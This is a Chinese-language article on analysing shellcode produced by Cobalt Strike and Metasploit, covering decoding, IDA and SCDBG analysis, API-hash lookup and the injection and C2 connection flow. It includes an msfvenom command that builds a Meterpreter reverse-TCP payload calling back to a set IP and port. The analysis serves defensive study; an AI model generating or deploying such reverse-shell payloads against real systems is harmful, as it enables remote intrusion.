【网络安全】红蓝攻防:shellcode 的分析
前言
在做红蓝攻防时,常常要用到 cs、msf 等工具,使用工具生成 shellcode 或可执行程序,那么小小的 shellcode 为何能做这么多事情,拿到 shellcode 后又该怎么分析。希望这篇文章能给大家带来答案,文章中不正确的地方请及时指出。
shellcode 定义
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。 在寄存器 eip 溢出后,加入一段可让 CPU 执行的 shellcode 机械码,让电脑可以执行攻击者的任意指令。
通俗来讲就是一串 16 进制的机器码,由 CPU 解释为操作指令 ,最后由内存加载执行。这些操作指令可以由工具生成,也可以自己编写。
例如常见的\x55\x88\xEC,经 CPU 解释后如下
55 push ebp
8B EC mov ebp, esp
了解一些汇编知识就能理解,这是一个简单的入栈操作
shellcode 提取
【点击查看学习资料】私信回复“资料”可获取
这里以 cs 生成的 powershell 代码举例,首先使用 Cobalt Strike 生成一个 powershell 的 payload。
可以看到使用了 base64 和 xor 编码,可以使用 CyberChef 工具进行解码,解码后转成 hex 并去除空格
然后以 hex 形式黏贴至 010editor
简单分析
将获取到的文件载入 IDA 进行简单分析
IDA 尝试还原代码,但是第一段 IDA 将其视为了数据段,使用快捷键 C 来进行转换
还原后可以发现,其在第二行调用了 sub_8F,另外还要注意 fs:[edx+30h],这是一个指向 PEB 的指针,这是 shell 代码动态定位和加载所需导入的方式,找到 PEB 后,就可以去找 IAT 里相关函数了。
在 sub_8F 函数内,可以看到如下代码,使用快捷键 R 可以转换成字符,发现其调用了 wininet.dll,这是一个 windows 应用程序网络相关模块
还有一部分调用我们需要借助于工具匹配 windows dll 的 api 哈希值,完整列表
通过检索可以查找到对应调用
0xc69f8957 wininet.dll_InternetConnectA
0xa779563a wininet.dll_InternetOpenA
快速分析
使用 IDA 分析可以很容易的对 shellcode 的流程加载进行观察,当然我们可以使用SCDBG工具更快速的对 shellcode 进行分析。它是一个围绕 libemu 仿真库构建的 shell 代码分析应用程序。将向用户显示 shellcode 试图调用的所有 Windows API。
通过命令行直接对文件进行分析,可以快速获取其调用的函数库和远端的地址与端口
除了命令行,该工具还提供了 gui 界面,载入文件勾选相关选项,会自动
cs 流程分析
通过上面分析我们可以了解到,cs 生成的 shellcode 仅仅加载了 wininet API 库并导入了两个用于建立互联网连接的库,并可以看到连接对应的 IP 和端口。其功能也很明显,就是一个接收信号的程序。那么回过头看一下 cs 生成的 ps 文件的其他部分
首先,脚本从 system.dll 中导入两个函数 GetModuleHandle 和 GetProcAddress,通过动态链接方式直接从内存中导入 dll,不会从磁盘加载。
然后,这些函数用于为函数“var_va”分配内存空间,该函数包含我们的 shellcode。然后脚本对 shellcode 进行解码和解密
接下来,VirtualAlloc 将 shellcode 函数写入内存空间以供调用进程使用。因此,shellcode 本质上是注入到进程使用的内存空间中。
最后,shellcode 被执行,在那里它与 Cobalt Strike 服务器建立一个 C2 通道。当通道建立后即可接收来自 cs 的指令。
msf 流程
首先使用 msfvenom 生成 shellode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.245.153 LPORT=4444 -f raw
可惜的是 64 位的 shellcode 无法直接使用 scdbg 进行分析,相对应的一些函数 IDA 无法做到有效识别,但好在 msf 生成的 shellcode 有个特征可以有助于我们去提取 IP 和端口。
移动指令(mov)且结尾为 0002 的寄存器值,搜索后找到如下值 4199F5A8C05C1120
这里注意大小端的问题,进行 16 进制转 10 进制,可以得到 I 以下 153.245.168.192,转换出来就是 192.168.245.153,5c11 转换后是 4444。一般由于适用性问题,64 位的 shellode 较少,这里简单提一下。
msfvenom 的 shellcode 实现的功能我们可以使用 32 位的进行分析,将 32 位的 shellcode 使用 scdbg 工具打开,勾选 scan for api table 选项,最后启动
可以发现其调用的是 ws2_32.dll,它是 Windows Sockets 应用程序接口,用于支持 Internet 和网络应用程序。通过分析可以得出 msf 的 shellcode 也仅仅做了建立连接通信的功能。
总结
shellcode 是一串机器码,可以由 CPU 解释执行。
cs 和 msf 默认生成的 shellcode 仅仅是一个连接程序,需要其他方式加载进内存执行。
shellclode 分析 32 位可以直接使用 scdbg 直接分析,可以获取远程的 IP 和端口、调用的 API 等信息。
评论